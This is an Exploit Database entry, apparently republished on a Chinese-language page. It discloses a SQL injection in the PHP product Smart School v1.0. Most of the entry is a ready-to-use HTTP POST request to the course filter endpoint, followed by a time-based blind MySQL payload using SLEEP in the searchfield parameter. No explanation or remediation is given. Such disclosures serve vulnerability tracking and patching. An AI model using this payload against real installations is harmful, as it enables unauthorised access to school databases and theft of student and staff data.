Smart School v1.0 – SQL Injection

• Exploit Database
• 13 阅读

• 作者： Ahmet Ümit BAYRAM
  日期： 2023-05-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51472/

• # Exploit Title: Smart School v1.0 - SQL Injection
  # Date: 2023-05-17
  # Exploit Author: Ahmet Ümit BAYRAM
  # Vendor:
  https://codecanyon.net/item/smart-school-school-management-system/19426018
  # Demo Site: https://demo.smart-school.in
  # Tested on: Kali Linux
  # CVE: N/A
  
  
  ### Request ###
  
  POST /course/filterRecords/ HTTP/1.1
  Host: localhost
  Cookie: ci_session=dd1bqn8ulsiog4vf7fle5hd4k4fklvve
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
  Firefox/102.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 136
  Origin: https://localhost
  Referer: https://localhost/course/
  Sec-Fetch-Dest: empty
  Sec-Fetch-Mode: cors
  Sec-Fetch-Site: same-origin
  Te: trailers
  Connection: close
  
  searchdata%5B0%5D%5Btitle%5D=category&searchdata%5B0%5D%5Bsearchfield%5D=online_courses.category_id&searchdata%5B0%5D%5Bsearchvalue%5D=1
  
  
  ### Parameter & Payloads ###
  
  Parameter: searchdata[0][searchfield] (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload:
  searchdata[0][title]=category&searchdata[0][searchfield]=online_courses.category_id
  AND (SELECT 7313 FROM (SELECT(SLEEP(5)))mvaR)--
  hAHp&searchdata[0][searchvalue]=1